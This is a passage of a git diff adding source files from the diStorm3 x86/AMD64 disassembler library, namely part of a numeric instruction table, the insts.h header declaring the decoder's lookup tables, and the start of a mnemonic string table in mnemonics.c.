+ { 35, 0, 15, 8, 0, 1, 0 },
+ { 35, 0, 15, 8, 0, 64, 0 },
+ { 35, 0, 15, 8, 0, 65, 0 },
+ { 35, 0, 15, 8, 0, 128, 0 },
+ { 35, 0, 15, 8, 0, 4, 0 },
+ { 35, 0, 15, 8, 0, 160, 0 },
+ { 35, 0, 15, 8, 0, 224, 0 },
+ { 36, 0, 32, 8, 0, 0, 0 },
+ { 37, 0, 32, 8, 0, 0, 0 },
+ { 35, 11, 17, 8, 1, 0, 244 },
+ { 38, 11, 17, 8, 197, 0, 48 },
+ { 39, 0, 32, 8, 0, 0, 0 },
+ { 40, 0, 32, 8, 0, 0, 0 },
+ { 32, 0, 0, 8, 255, 0, 0 },
+ { 41, 11, 17, 8, 1, 0, 244 },
+ { 35, 17, 11, 8, 33, 0, 212 },
+ { 41, 9, 15, 8, 245, 0, 0 },
+ { 41, 11, 17, 8, 245, 0, 0 },
+ { 42, 37, 11, 8, 0, 0, 0 },
+ { 35, 15, 11, 8, 0, 0, 0 },
+ { 43, 16, 11, 8, 0, 0, 0 },
+ { 43, 13, 45, 48, 0, 0, 0 },
+ { 44, 0, 54, 8, 0, 0, 0 },
+ { 45, 1, 15, 8, 245, 0, 0 },
+ { 45, 1, 15, 8, 196, 16, 0 },
+ { 45, 1, 15, 8, 245, 1, 0 },
+ { 45, 1, 15, 8, 229, 0, 16 },
+ { 45, 1, 15, 8, 196, 0, 16 },
+ { 46, 1, 15, 8, 245, 0, 0 },
+ { 45, 3, 17, 8, 245, 0, 0 },
+ { 45, 3, 17, 8, 196, 16, 0 },
+ { 45, 3, 17, 8, 245, 1, 0 },
+ { 45, 3, 17, 8, 229, 0, 16 },
+ { 45, 3, 17, 8, 196, 0, 16 },
+ { 46, 3, 17, 8, 245, 0, 0 },
+ { 47, 1, 15, 8, 245, 0, 0 },
+ { 47, 1, 15, 8, 196, 16, 0 },
+ { 47, 1, 15, 8, 245, 1, 0 },
+ { 47, 1, 15, 8, 229, 0, 16 },
+ { 47, 1, 15, 8, 196, 0, 16 },
+ { 48, 1, 15, 8, 245, 0, 0 },
+ { 45, 5, 17, 8, 245, 0, 0 },
+ { 49, 5, 17, 8, 196, 16, 0 },
+ { 45, 5, 17, 8, 245, 1, 0 },
+ { 49, 5, 17, 8, 229, 0, 16 },
+ { 49, 5, 17, 8, 196, 0, 16 },
+ { 46, 5, 17, 8, 245, 0, 0 },
+ { 50, 0, 17, 8, 0, 0, 0 },
+ { 51, 1, 15, 8, 1, 0, 32 },
+ { 51, 1, 15, 8, 1, 1, 32 },
+ { 51, 1, 15, 8, 197, 0, 48 },
+ { 51, 1, 17, 8, 1, 0, 32 },
+ { 51, 1, 17, 8, 1, 1, 32 },
+ { 51, 1, 17, 8, 197, 0, 48 },
+ { 52, 1, 15, 8, 0, 0, 0 },
+ { 53, 0, 1, 24, 0, 0, 0 },
+ { 52, 3, 17, 8, 0, 0, 0 },
+ { 53, 0, 41, 24, 0, 0, 0 },
+ { 51, 51, 15, 8, 33, 0, 0 },
+ { 51, 51, 15, 8, 33, 1, 0 },
+ { 51, 51, 15, 8, 229, 0, 16 },
+ { 51, 51, 17, 8, 33, 0, 0 },
+ { 51, 51, 17, 8, 33, 1, 0 },
+ { 51, 51, 17, 8, 229, 0, 16 },
+ { 51, 52, 15, 8, 1, 0, 32 },
+ { 51, 52, 15, 8, 1, 1, 32 },
+ { 51, 52, 15, 8, 197, 0, 48 },
+ { 51, 52, 17, 8, 1, 0, 32 },
+ { 51, 52, 17, 8, 1, 1, 32 },
+ { 51, 52, 17, 8, 197, 0, 48 },
+ { 46, 0, 21, 16, 0, 0, 0 },
+ { 54, 0, 62, 16, 0, 0, 0 },
+ { 54, 0, 61, 16, 0, 0, 0 },
+ { 54, 0, 0, 16, 0, 0, 0 },
+ { 51, 0, 21, 16, 0, 0, 0 },
+ { 46, 0, 42, 16, 0, 0, 0 },
+ { 46, 0, 20, 16, 0, 0, 0 },
+ { 55, 0, 62, 24, 0, 1, 0 },
+ { 55, 0, 62, 24, 0, 64, 0 },
+ { 55, 0, 62, 24, 0, 65, 0 },
+ { 55, 0, 62, 24, 0, 4, 0 },
+ { 56, 0, 21, 56, 0, 0, 0 },
+ { 46, 0, 23, 16, 0, 0, 0 },
+ { 51, 0, 23, 16, 0, 0, 0 },
+ { 55, 0, 62, 16, 69, 0, 0 },
+ { 55, 0, 62, 24, 69, 0, 0 },
+ { 46, 0, 22, 16, 0, 0, 0 },
+ { 54, 0, 63, 16, 0, 0, 0 },
+ { 56, 0, 22, 56, 0, 0, 0 },
+ { 51, 0, 22, 16, 0, 0, 0 },
+ { 56, 0, 20, 56, 0, 0, 0 },
+ { 51, 0, 20, 16, 0, 0, 0 },
+ { 46, 1, 15, 8, 196, 0, 16 },
+ { 45, 0, 15, 8, 0, 0, 0 },
+ { 45, 0, 15, 8, 245, 0, 0 },
+ { 51, 0, 15, 8, 33, 0, 212 },
+ { 51, 0, 15, 8, 0, 0, 245 },
+ { 46, 3, 17, 8, 196, 0, 16 },
+ { 45, 0, 17, 8, 0, 0, 0 },
+ { 45, 0, 17, 8, 245, 0, 0 },
+ { 51, 0, 17, 8, 33, 0, 212 },
+ { 51, 0, 17, 8, 0, 0, 245 },
+ { 45, 0, 15, 8, 244, 0, 0 },
+ { 45, 0, 17, 8, 244, 0, 0 },
+ { 57, 0, 17, 9, 0, 0, 0 },
+ { 58, 0, 37, 9, 0, 0, 0 },
+ { 57, 0, 17, 12, 0, 0, 0 },
+ { 58, 0, 37, 12, 0, 0, 0 },
+ { 57, 0, 17, 8, 0, 0, 0 },
+ { 46, 0, 17, 8, 0, 0, 0 },
+ { 46, 0, 16, 8, 0, 0, 0 },
+ { 56, 0, 16, 8, 0, 0, 0 },
+ { 46, 0, 16, 8, 64, 0, 0 },
+ { 57, 0, 39, 8, 0, 0, 0 },
+ { 52, 0, 28, 8, 0, 0, 0 },
+ { 59, 0, 16, 8, 0, 0, 0 },
+ { 56, 0, 42, 8, 0, 0, 0 },
+ { 55, 0, 0, 112, 0, 0, 0 },
+ { 55, 0, 0, 8, 0, 0, 0 },
+ { 13, 0, 0, 24, 0, 0, 0 },
+ { 56, 0, 58, 120, 0, 0, 0 },
+ { 55, 0, 0, 120, 0, 0, 0 },
+ { 55, 0, 58, 120, 0, 0, 0 },
+ { 55, 60, 58, 120, 0, 0, 0 },
+ { 60, 0, 0, 8, 0, 0, 0 },
+ { 56, 0, 42, 96, 0, 0, 0 },
+ { 61, 67, 64, 104, 0, 0, 0 },
+ { 61, 67, 64, 96, 0, 0, 0 },
+ { 35, 73, 68, 40, 0, 0, 0 },
+ { 35, 73, 68, 48, 0, 0, 0 },
+ { 35, 71, 68, 40, 0, 0, 0 },
+ { 35, 72, 68, 48, 0, 0, 0 },
+ { 62, 90, 83, 128, 0, 0, 0 },
+ { 63, 81, 68, 128, 0, 0, 0 },
+ { 64, 44, 68, 128, 0, 0, 0 },
+ { 64, 46, 68, 128, 0, 0, 0 },
+ { 35, 68, 73, 40, 0, 0, 0 },
+ { 35, 68, 73, 48, 0, 0, 0 },
+ { 35, 68, 71, 40, 0, 0, 0 },
+ { 35, 68, 72, 48, 0, 0, 0 },
+ { 62, 83, 90, 128, 0, 0, 0 },
+ { 64, 68, 44, 128, 0, 0, 0 },
+ { 64, 68, 46, 128, 0, 0, 0 },
+ { 65, 72, 68, 40, 0, 0, 0 },
+ { 35, 46, 68, 48, 0, 0, 0 },
+ { 35, 72, 68, 56, 0, 0, 0 },
+ { 66, 81, 68, 128, 0, 0, 0 },
+ { 67, 81, 68, 128, 0, 0, 0 },
+ { 62, 89, 83, 128, 0, 0, 0 },
+ { 35, 68, 46, 40, 0, 0, 0 },
+ { 35, 68, 46, 48, 0, 0, 0 },
+ { 62, 68, 46, 128, 0, 0, 0 },
+ { 34, 73, 68, 40, 0, 0, 0 },
+ { 34, 73, 68, 48, 0, 0, 0 },
+ { 67, 88, 83, 128, 0, 0, 0 },
+ { 35, 73, 68, 56, 0, 0, 0 },
+ { 56, 0, 42, 40, 0, 0, 0 },
+ { 34, 67, 68, 40, 0, 0, 0 },
+ { 34, 67, 68, 48, 0, 0, 0 },
+ { 42, 18, 68, 40, 0, 0, 0 },
+ { 42, 18, 68, 48, 0, 0, 0 },
+ { 35, 68, 47, 40, 0, 0, 0 },
+ { 35, 68, 47, 48, 0, 0, 0 },
+ { 35, 68, 44, 88, 0, 0, 0 },
+ { 35, 68, 46, 88, 0, 0, 0 },
+ { 62, 83, 92, 128, 0, 0, 0 },
+ { 34, 72, 64, 40, 0, 0, 0 },
+ { 34, 73, 64, 48, 0, 0, 0 },
+ { 42, 71, 13, 40, 0, 0, 0 },
+ { 42, 72, 13, 48, 0, 0, 0 },
+ { 62, 80, 78, 128, 0, 0, 0 },
+ { 34, 71, 68, 40, 69, 0, 0 },
+ { 34, 72, 68, 48, 0, 0, 0 },
+ { 62, 71, 68, 128, 0, 0, 0 },
+ { 62, 72, 68, 128, 0, 0, 0 },
+ { 68, 69, 12, 40, 0, 0, 0 },
+ { 68, 69, 12, 48, 0, 0, 0 },
+ { 69, 83, 13, 128, 0, 0, 0 },
+ { 34, 71, 68, 40, 0, 0, 0 },
+ { 34, 71, 68, 48, 0, 0, 0 },
+ { 62, 91, 83, 128, 0, 0, 0 },
+ { 62, 90, 68, 128, 0, 0, 0 },
+ { 34, 66, 64, 32, 0, 0, 0 },
+ { 34, 67, 64, 32, 0, 0, 0 },
+ { 70, 18, 64, 32, 0, 0, 0 },
+ { 70, 18, 68, 48, 0, 0, 0 },
+ { 62, 79, 68, 128, 0, 0, 0 },
+ { 35, 67, 64, 32, 0, 0, 0 },
+ { 71, 67, 64, 40, 0, 0, 0 },
+ { 71, 73, 68, 48, 0, 0, 0 },
+ { 67, 73, 68, 128, 0, 0, 0 },
+ { 32, 0, 0, 32, 0, 0, 0 },
+ { 72, 0, 0, 128, 0, 0, 0 },
+ { 73, 13, 18, 112, 0, 0, 0 },
+ { 74, 7, 69, 88, 0, 0, 0 },
+ { 75, 69, 68, 88, 0, 0, 0 },
+ { 73, 18, 13, 112, 0, 0, 0 },
+ { 34, 69, 68, 88, 0, 0, 0 },
+ { 76, 69, 68, 88, 0, 0, 0 },
+ { 32, 72, 68, 112, 0, 0, 0 },
+ { 32, 68, 72, 112, 0, 0, 0 },
+ { 34, 73, 68, 56, 0, 0, 0 },
+ { 70, 64, 18, 32, 0, 0, 0 },
+ { 70, 68, 18, 48, 0, 0, 0 },
+ { 62, 68, 79, 128, 0, 0, 0 },
+ { 35, 64, 67, 32, 0, 0, 0 },
+ { 77, 0, 42, 8, 0, 0, 0 },
+ { 78, 0, 43, 8, 0, 0, 0 },
+ { 79, 0, 43, 8, 0, 0, 0 },
+ { 80, 17, 11, 80, 64, 0, 0 },
+ { 81, 1, 17, 8, 1, 0, 244 },
+ { 49, 1, 17, 8, 1, 0, 244 },
+ { 34, 17, 11, 8, 64, 0, 245 },
+ { 82, 17, 11, 112, 0, 0, 0 },
+ { 83, 17, 11, 8, 65, 0, 180 },
+ { 84, 73, 68, 40, 0, 0, 0 },
+ { 84, 73, 68, 48, 0, 0, 0 },
+ { 84, 71, 68, 40, 0, 0, 0 },
+ { 84, 72, 68, 48, 0, 0, 0 },
+ { 85, 88, 83, 128, 0, 0, 0 },
+ { 85, 81, 68, 128, 0, 0, 0 },
+ { 71, 25, 64, 40, 0, 0, 0 },
+ { 71, 25, 68, 48, 0, 0, 0 },
+ { 86, 81, 68, 128, 0, 0, 0 },
+ { 87, 65, 12, 40, 0, 0, 0 },
+ { 71, 69, 12, 48, 0, 0, 0 },
+ { 88, 68, 13, 128, 0, 0, 0 },
+ { 71, 73, 68, 40, 0, 0, 0 },
+ { 86, 88, 83, 128, 0, 0, 0 },
+ { 89, 0, 48, 8, 64, 0, 0 },
+ { 56, 0, 46, 112, 0, 0, 0 },
+ { 68, 65, 68, 48, 0, 0, 0 },
+ { 68, 69, 64, 48, 0, 0, 0 },
+ { 62, 68, 72, 128, 0, 0, 0 },
+ { 76, 65, 12, 40, 0, 0, 0 },
+ { 76, 69, 12, 48, 0, 0, 0 },
+ { 69, 68, 13, 128, 0, 0, 0 },
+ { 34, 67, 64, 40, 0, 0, 0 },
+ { 35, 64, 46, 40, 0, 0, 0 },
+ { 34, 42, 68, 56, 0, 0, 0 },
+ { 62, 92, 83, 128, 0, 0, 0 },
+ { 34, 67, 64, 48, 0, 0, 0 },
+ { 76, 65, 64, 40, 0, 0, 0 },
+ { 76, 69, 68, 48, 0, 0, 0 },
+ { 90, 69, 68, 128, 0, 0, 0 },
+ { 51, 0, 42, 16, 0, 0, 0 },
+ { 91, 0, 42, 16, 0, 0, 0 },
+ { 91, 0, 20, 16, 0, 0, 0 },
+ { 92, 0, 0, 16, 0, 0, 0 },
+ { 93, 0, 34, 16, 0, 0, 0 },
+ { 94, 0, 34, 16, 0, 0, 0 },
+ { 34, 67, 64, 64, 0, 0, 0 },
+ { 34, 73, 68, 64, 0, 0, 0 },
+ { 71, 73, 68, 72, 0, 0, 0 },
+ { 34, 73, 68, 80, 0, 0, 0 },
+ { 62, 44, 83, 128, 0, 0, 0 },
+ { 62, 46, 85, 128, 0, 0, 0 },
+ { 62, 47, 85, 128, 0, 0, 0 },
+ { 62, 73, 68, 128, 0, 0, 0 },
+ { 34, 72, 68, 72, 0, 0, 0 },
+ { 34, 71, 68, 72, 0, 0, 0 },
+ { 34, 70, 68, 72, 0, 0, 0 },
+ { 62, 70, 68, 128, 0, 0, 0 },
+ { 34, 73, 68, 72, 0, 0, 0 },
+ { 35, 47, 68, 72, 0, 0, 0 },
+ { 62, 47, 68, 128, 0, 0, 0 },
+ { 67, 88, 92, 128, 0, 0, 0 },
+ { 73, 47, 13, 112, 0, 0, 0 },
+ { 67, 88, 83, 136, 0, 0, 0 },
+ { 67, 81, 68, 136, 0, 0, 0 },
+ { 34, 73, 68, 152, 0, 0, 0 },
+ { 62, 73, 68, 152, 0, 0, 0 },
+ { 67, 81, 68, 152, 0, 0, 0 },
+ { 35, 17, 11, 8, 0, 0, 0 },
+ { 35, 15, 13, 80, 0, 0, 0 },
+ { 35, 11, 17, 8, 0, 0, 0 },
+ { 35, 17, 13, 80, 0, 0, 0 },
+ { 67, 90, 83, 128, 0, 0, 0 },
+ { 86, 87, 85, 128, 0, 0, 0 },
+ { 71, 71, 68, 72, 0, 0, 0 },
+ { 71, 72, 68, 72, 0, 0, 0 },
+ { 71, 67, 64, 64, 0, 0, 0 },
+ { 71, 73, 68, 64, 0, 0, 0 },
+ { 71, 68, 26, 72, 0, 0, 0 },
+ { 88, 68, 76, 128, 0, 0, 0 },
+ { 71, 68, 27, 72, 0, 0, 0 },
+ { 88, 68, 77, 128, 0, 0, 0 },
+ { 95, 68, 18, 72, 0, 0, 0 },
+ { 67, 68, 79, 128, 0, 0, 0 },
+ { 71, 68, 18, 72, 0, 0, 0 },
+ { 67, 68, 75, 128, 0, 0, 0 },
+ { 67, 85, 73, 128, 0, 0, 0 },
+ { 71, 24, 68, 72, 0, 0, 0 },
+ { 95, 18, 68, 72, 0, 0, 0 },
+ { 71, 73, 68, 144, 0, 0, 0 },
+ { 86, 81, 68, 144, 0, 0, 0 },
+ { 71, 73, 68, 80, 0, 0, 0 },
+ { 71, 73, 68, 152, 0, 0, 0 },
+ { 67, 73, 68, 152, 0, 0, 0 },
+ { 96, 1, 65, 32, 0, 0, 0 },
+ { 56, 1, 69, 48, 0, 0, 0 },
+ { 97, 69, 81, 128, 0, 0, 0 },
+ { 98, 0, 13, 112, 0, 0, 0 },
+ { 64, 0, 44, 128, 0, 0, 0 },
+ { 56, 0, 42, 112, 0, 0, 0 },
+ { 99, 75, 13, 8, 0, 0, 0 },
+ { 98, 0, 17, 8, 0, 0, 0 },
+ { 100, 67, 64, 96, 0, 0, 0 }
+};
+
+uint16_t CmpMnemonicOffsets[8] = {
+ 0, 9, 18, 27, 39, 49, 59, 69
+};
+uint16_t VCmpMnemonicOffsets[32] = {
+ 0, 10, 20, 30, 43, 54, 65, 76, 87, 100, 111, 122, 135, 149, 159, 169, 181, 194, 207, 220, 235, 249, 263, 277, 290, 303, 317, 331, 347, 361, 374, 387
+};
diff --git a/source/distorm/insts.h b/source/distorm/insts.h
new file mode 100644
index 0000000..946cacd
--- /dev/null
+++ b/source/distorm/insts.h
@@ -0,0 +1,64 @@
+/*
+insts.h
+
+diStorm3 - Powerful disassembler for X86/AMD64
+http://ragestorm.net/distorm/
+distorm at gmail dot com
+Copyright (C) 2003-2016 Gil Dabah
+This library is licensed under the BSD license. See the file COPYING.
+*/
+
+
+#ifndef INSTS_H
+#define INSTS_H
+
+#include "instructions.h"
+
+
+/* Flags Table */
+extern _iflags FlagsTable[];
+
+/* Root Trie DB */
+extern _InstSharedInfo InstSharedInfoTable[];
+extern _InstInfo InstInfos[];
+extern _InstInfoEx InstInfosEx[];
+extern _InstNode InstructionsTree[];
+
+/* 3DNow! Trie DB */
+extern _InstNode Table_0F_0F;
+/* AVX related: */
+extern _InstNode Table_0F, Table_0F_38, Table_0F_3A;
+
+/*
+ * The inst_lookup will return on of these two instructions according to the specified decoding mode.
+ * ARPL or MOVSXD on 64 bits is one byte instruction at index 0x63.
+ */
+extern _InstInfo II_MOVSXD;
+
+/*
+ * The NOP instruction can be prefixed by REX in 64bits, therefore we have to decide in runtime whether it's an XCHG or NOP instruction.
+ * If 0x90 is prefixed by a usable REX it will become XCHG, otherwise it will become a NOP.
+ * Also note that if it's prefixed by 0xf3, it becomes a Pause.
+ */
+extern _InstInfo II_NOP;
+extern _InstInfo II_PAUSE;
+
+/*
+ * RDRAND and VMPTRLD share same 2.3 bytes opcode, and then alternates on the MOD bits,
+ * RDRAND is OT_FULL_REG while VMPTRLD is OT_MEM, and there's no such mixed type.
+ * So a hack into the inst_lookup was added for this decision, the DB isn't flexible enough. :(
+ */
+extern _InstInfo II_RDRAND;
+
+/*
+ * Used for letting the extract operand know the type of operands without knowing the
+ * instruction itself yet, because of the way those instructions work.
+ * See function instructions.c!inst_lookup_3dnow.
+ */
+extern _InstInfo II_3DNOW;
+
+/* Helper tables for pseudo compare mnemonics. */
+extern uint16_t CmpMnemonicOffsets[8]; /* SSE */
+extern uint16_t VCmpMnemonicOffsets[32]; /* AVX */
+
+#endif /* INSTS_H */
diff --git a/source/distorm/mnemonics.c b/source/distorm/mnemonics.c
new file mode 100644
index 0000000..3ade426
--- /dev/null
+++ b/source/distorm/mnemonics.c
@@ -0,0 +1,284 @@
+/*
+mnemonics.c
+
+diStorm3 - Powerful disassembler for X86/AMD64
+http://ragestorm.net/distorm/
+distorm at gmail dot com
+Copyright (C) 2003-2016 Gil Dabah
+This library is licensed under the BSD license. See the file COPYING.
+*/
+
+
+#include "distorm/mnemonics.h"
+
+#ifndef DISTORM_LIGHT
+
+const unsigned char _MNEMONICS[] =
+"\x09" "UNDEFINED\0" "\x03" "ADD\0" "\x04" "PUSH\0" "\x03" "POP\0" "\x02" "OR\0" \
+"\x03" "ADC\0" "\x03" "SBB\0" "\x03" "AND\0" "\x03" "DAA\0" "\x03" "SUB\0" \
+"\x03" "DAS\0" "\x03" "XOR\0" "\x03" "AAA\0" "\x03" "CMP\0" "\x03" "AAS\0" \
+"\x03" "INC\0" "\x03" "DEC\0" "\x05" "PUSHA\0" "\x04" "POPA\0" "\x05" "BOUND\0" \
+"\x04" "ARPL\0" "\x04" "IMUL\0" "\x03" "INS\0" "\x04" "OUTS\0" "\x02" "JO\0" \
+"\x03" "JNO\0" "\x02" "JB\0" "\x03" "JAE\0" "\x02" "JZ\0" "\x03" "JNZ\0" "\x03" "JBE\0" \
+"\x02" "JA\0" "\x02" "JS\0" "\x03" "JNS\0" "\x02" "JP\0" "\x03" "JNP\0" "\x02" "JL\0" \
+"\x03" "JGE\0" "\x03" "JLE\0" "\x02" "JG\0" "\x04" "TEST\0" "\x04" "XCHG\0" \
+"\x03" "MOV\0" "\x03" "LEA\0" "\x03" "CBW\0" "\x04" "CWDE\0" "\x04" "CDQE\0" \
+"\x03" "CWD\0" "\x03" "CDQ\0" "\x03" "CQO\0" "\x08" "CALL FAR\0" "\x05" "PUSHF\0" \
+"\x04" "POPF\0" "\x04" "SAHF\0" "\x04" "LAHF\0" "\x04" "MOVS\0" "\x04" "CMPS\0" \
+"\x04" "STOS\0" "\x04" "LODS\0" "\x04" "SCAS\0" "\x03" "RET\0" "\x03" "LES\0" \
+"\x03" "LDS\0" "\x05" "ENTER\0" "\x05" "LEAVE\0" "\x04" "RETF\0" "\x05" "INT 3\0" \
+"\x03" "INT\0" "\x04" "INTO\0" "\x04" "IRET\0" "\x03" "AAM\0" "\x03" "AAD\0" \
+"\x04" "SALC\0" "\x04" "XLAT\0" "\x06" "LOOPNZ\0" "\x05" "LOOPZ\0" "\x04" "LOOP\0" \
+"\x04" "JCXZ\0" "\x05" "JECXZ\0" "\x05" "JRCXZ\0" "\x02" "IN\0" "\x03" "OUT\0" \
+"\x04" "CALL\0" "\x03" "JMP\0" "\x07" "JMP FAR\0" "\x04" "INT1\0" "\x03" "HLT\0" \
+"\x03" "CMC\0" "\x03" "CLC\0" "\x03" "STC\0" "\x03" "CLI\0" "\x03" "STI\0" \
+"\x03" "CLD\0" "\x03" "STD\0" "\x03" "LAR\0" "\x03" "LSL\0" "\x07" "SYSCALL\0" \
+"\x04" "CLTS\0" "\x06" "SYSRET\0" "\x04" "INVD\0" "\x06" "WBINVD\0" "\x03" "UD2\0" \
+"\x05" "FEMMS\0" "\x03" "NOP\0" "\x05" "WRMSR\0" "\x05" "RDTSC\0" "\x05" "RDMSR\0" \
+"\x05" "RDPMC\0" "\x08" "SYSENTER\0" "\x07" "SYSEXIT\0" "\x06" "GETSEC\0" "\x05" "CMOVO\0" \
+"\x06" "CMOVNO\0" "\x05" "CMOVB\0" "\x06" "CMOVAE\0" "\x05" "CMOVZ\0" "\x06" "CMOVNZ\0" \
+"\x06" "CMOVBE\0" "\x05" "CMOVA\0" "\x05" "CMOVS\0" "\x06" "CMOVNS\0" "\x05" "CMOVP\0" \
+"\x06" "CMOVNP\0" "\x05" "CMOVL\0" "\x06" "CMOVGE\0" "\x06" "CMOVLE\0" "\x05" "CMOVG\0" \
+"\x04" "SETO\0" "\x05" "SETNO\0" "\x04" "SETB\0" "\x05" "SETAE\0" "\x04" "SETZ\0" \
+"\x05" "SETNZ\0" "\x05" "SETBE\0" "\x04" "SETA\0" "\x04" "SETS\0" "\x05" "SETNS\0" \
+"\x04" "SETP\0" "\x05" "SETNP\0" "\x04" "SETL\0" "\x05" "SETGE\0" "\x05" "SETLE\0" \
+"\x04" "SETG\0" "\x05" "CPUID\0" "\x02" "BT\0" "\x04" "SHLD\0" "\x03" "RSM\0" \
+"\x03" "BTS\0" "\x04" "SHRD\0" "\x07" "CMPXCHG\0" "\x03" "LSS\0" "\x03" "BTR\0" \
+"\x03" "LFS\0" "\x03" "LGS\0" "\x05" "MOVZX\0" "\x03" "BTC\0" "\x05" "MOVSX\0" \
+"\x04" "XADD\0" "\x06" "MOVNTI\0" "\x05" "BSWAP\0" "\x03" "ROL\0" "\x03" "ROR\0" \
+"\x03" "RCL\0" "\x03" "RCR\0" "\x03" "SHL\0" "\x03" "SHR\0" "\x03" "SAL\0" \
+"\x03" "SAR\0" "\x06" "XABORT\0" "\x06" "XBEGIN\0" "\x04" "FADD\0" "\x04" "FMUL\0" \
+"\x04" "FCOM\0" "\x05" "FCOMP\0" "\x04" "FSUB\0" "\x05" "FSUBR\0" "\x04" "FDIV\0" \
+"\x05" "FDIVR\0" "\x03" "FLD\0" "\x03" "FST\0" "\x04" "FSTP\0" "\x06" "FLDENV\0" \
+"\x05" "FLDCW\0" "\x04" "FXCH\0" "\x04" "FNOP\0" "\x04" "FCHS\0" "\x04" "FABS\0" \
+"\x04" "FTST\0" "\x04" "FXAM\0" "\x04" "FLD1\0" "\x06" "FLDL2T\0" "\x06" "FLDL2E\0" \
+"\x05" "FLDPI\0" "\x06" "FLDLG2\0" "\x06" "FLDLN2\0" "\x04" "FLDZ\0" "\x05" "F2XM1\0" \
+"\x05" "FYL2X\0" "\x05" "FPTAN\0" "\x06" "FPATAN\0" "\x07" "FXTRACT\0" "\x06" "FPREM1\0" \
+"\x07" "FDECSTP\0" "\x07" "FINCSTP\0" "\x05" "FPREM\0" "\x07" "FYL2XP1\0" "\x05" "FSQRT\0" \
+"\x07" "FSINCOS\0" "\x07" "FRNDINT\0" "\x06" "FSCALE\0" "\x04" "FSIN\0" "\x04" "FCOS\0" \
+"\x05" "FIADD\0" "\x05" "FIMUL\0" "\x05" "FICOM\0" "\x06" "FICOMP\0" "\x05" "FISUB\0" \
+"\x06" "FISUBR\0" "\x05" "FIDIV\0" "\x06" "FIDIVR\0" "\x06" "FCMOVB\0" "\x06" "FCMOVE\0" \
+"\x07" "FCMOVBE\0" "\x06" "FCMOVU\0" "\x07" "FUCOMPP\0" "\x04" "FILD\0" "\x06" "FISTTP\0" \
+"\x04" "FIST\0" "\x05" "FISTP\0" "\x07" "FCMOVNB\0" "\x07" "FCMOVNE\0" "\x08" "FCMOVNBE\0" \
+"\x07" "FCMOVNU\0" "\x04" "FENI\0" "\x06" "FEDISI\0" "\x06" "FSETPM\0" "\x06" "FUCOMI\0" \
+"\x05" "FCOMI\0" "\x06" "FRSTOR\0" "\x05" "FFREE\0" "\x05" "FUCOM\0" "\x06" "FUCOMP\0" \
+"\x05" "FADDP\0" "\x05" "FMULP\0" "\x06" "FCOMPP\0" "\x06" "FSUBRP\0" "\x05" "FSUBP\0" \
+"\x06" "FDIVRP\0" "\x05" "FDIVP\0" "\x04" "FBLD\0" "\x05" "FBSTP\0" "\x07" "FUCOMIP\0" \
+"\x06" "FCOMIP\0" "\x03" "NOT\0" "\x03" "NEG\0" "\x03" "MUL\0" "\x03" "DIV\0" \
+"\x04" "IDIV\0" "\x04" "SLDT\0" "\x03" "STR\0" "\x04" "LLDT\0" "\x03" "LTR\0" \
+"\x04" "VERR\0" "\x04" "VERW\0" "\x04" "SGDT\0" "\x04" "SIDT\0" "\x04" "LGDT\0" \
+"\x04" "LIDT\0" "\x04" "SMSW\0" "\x04" "LMSW\0" "\x06" "INVLPG\0" "\x06" "VMCALL\0" \
+"\x08" "VMLAUNCH\0" "\x08" "VMRESUME\0" "\x06" "VMXOFF\0" "\x07" "MONITOR\0" \
+"\x05" "MWAIT\0" "\x06" "XGETBV\0" "\x06" "XSETBV\0" "\x06" "VMFUNC\0" "\x04" "XEND\0" \
+"\x05" "VMRUN\0" "\x07" "VMMCALL\0" "\x06" "VMLOAD\0" "\x06" "VMSAVE\0" "\x04" "STGI\0" \
+"\x04" "CLGI\0" "\x06" "SKINIT\0" "\x07" "INVLPGA\0" "\x06" "SWAPGS\0" "\x06" "RDTSCP\0" \
+"\x08" "PREFETCH\0" "\x09" "PREFETCHW\0" "\x05" "PI2FW\0" "\x05" "PI2FD\0" \
+"\x05" "PF2IW\0" "\x05" "PF2ID\0" "\x06" "PFNACC\0" "\x07" "PFPNACC\0" "\x07" "PFCMPGE\0" \
+"\x05" "PFMIN\0" "\x05" "PFRCP\0" "\x07" "PFRSQRT\0" "\x05" "PFSUB\0" "\x05" "PFADD\0" \
+"\x07" "PFCMPGT\0" "\x05" "PFMAX\0" "\x08" "PFRCPIT1\0" "\x08" "PFRSQIT1\0" \
+"\x06" "PFSUBR\0" "\x05" "PFACC\0" "\x07" "PFCMPEQ\0" "\x05" "PFMUL\0" "\x08" "PFRCPIT2\0" \
+"\x07" "PMULHRW\0" "\x06" "PSWAPD\0" "\x07" "PAVGUSB\0" "\x06" "MOVUPS\0" "\x06" "MOVUPD\0" \
+"\x05" "MOVSS\0" "\x05" "MOVSD\0" "\x07" "VMOVUPS\0" "\x07" "VMOVUPD\0" "\x06" "VMOVSS\0" \
+"\x06" "VMOVSD\0" "\x07" "MOVHLPS\0" "\x06" "MOVLPS\0" "\x06" "MOVLPD\0" "\x08" "MOVSLDUP\0" \
+"\x07" "MOVDDUP\0" "\x08" "VMOVHLPS\0" "\x07" "VMOVLPS\0" "\x07" "VMOVLPD\0" \
+"\x09" "VMOVSLDUP\0" "\x08" "VMOVDDUP\0" "\x08" "UNPCKLPS\0" "\x08" "UNPCKLPD\0" \
+"\x09" "VUNPCKLPS\0" "\x09" "VUNPCKLPD\0" "\x08" "UNPCKHPS\0" "\x08" "UNPCKHPD\0" \
+"\x09" "VUNPCKHPS\0" "\x09" "VUNPCKHPD\0" "\x07" "MOVLHPS\0" "\x06" "MOVHPS\0" \
+"\x06" "MOVHPD\0" "\x08" "MOVSHDUP\0" "\x08" "VMOVLHPS\0" "\x07" "VMOVHPS\0" \
+"\x07" "VMOVHPD\0" "\x09" "VMOVSHDUP\0" "\x0b" "PREFETCHNTA\0" "\x0a" "PREFETCHT0\0" \
+"\x0a" "PREFETCHT1\0" "\x0a" "PREFETCHT2\0" "\x06" "MOVAPS\0" "\x06" "MOVAPD\0" \
+"\x07" "VMOVAPS\0" "\x07" "VMOVAPD\0" "\x08" "CVTPI2PS\0" "\x08" "CVTPI2PD\0" \
+"\x08" "CVTSI2SS\0" "\x08" "CVTSI2SD\0" "\x09" "VCVTSI2SS\0" "\x09" "VCVTSI2SD\0" \
+"\x07" "MOVNTPS\0" "\x07" "MOVNTPD\0" "\x07" "MOVNTSS\0" "\x07" "MOVNTSD\0" \
+"\x08" "VMOVNTPS\0" "\x08" "VMOVNTPD\0" "\x09" "CVTTPS2PI\0" "\x09" "CVTTPD2PI\0" \
